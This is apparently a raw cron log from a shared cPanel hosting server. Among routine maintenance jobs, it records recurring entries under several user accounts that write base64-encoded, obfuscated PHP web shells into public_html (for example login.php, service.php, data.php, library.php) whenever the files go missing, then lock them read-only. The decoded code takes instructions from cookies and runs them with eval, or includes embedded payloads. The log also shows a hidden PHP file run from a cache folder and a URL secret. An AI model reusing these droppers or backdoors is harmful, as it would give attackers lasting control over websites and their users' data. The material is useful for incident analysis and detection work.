Mar  2 07:19:01 medusa CROND[27159]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:19:01 medusa CROND[27167]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:19:01 medusa CROND[27169]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:19:01 medusa CROND[27171]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:19:01 medusa CROND[27178]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:20:01 medusa CROND[14813]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[14851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 07:20:01 medusa CROND[15128]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15129]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:20:01 medusa CROND[15130]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:20:01 medusa CROND[15133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15131]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15134]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:20:01 medusa CROND[15132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:20:01 medusa CROND[15136]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:20:01 medusa CROND[15137]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15135]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15145]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15147]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:20:01 medusa CROND[15148]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:20:01 medusa CROND[15146]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 07:20:01 medusa CROND[15150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:20:01 medusa CROND[15151]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:20:01 medusa CROND[15174]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:20:01 medusa CROND[15173]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:20:01 medusa CROND[15179]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:20:01 medusa CROND[15183]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:20:01 medusa CROND[15176]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:20:01 medusa CROND[15188]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:20:01 medusa CROND[15186]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 07:20:01 medusa CROND[15189]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:20:01 medusa CROND[15199]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:20:01 medusa CROND[15204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:20:01 medusa CROND[15170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 07:21:02 medusa CROND[32564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:21:02 medusa CROND[32565]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:21:02 medusa CROND[32566]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:21:02 medusa CROND[32567]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > 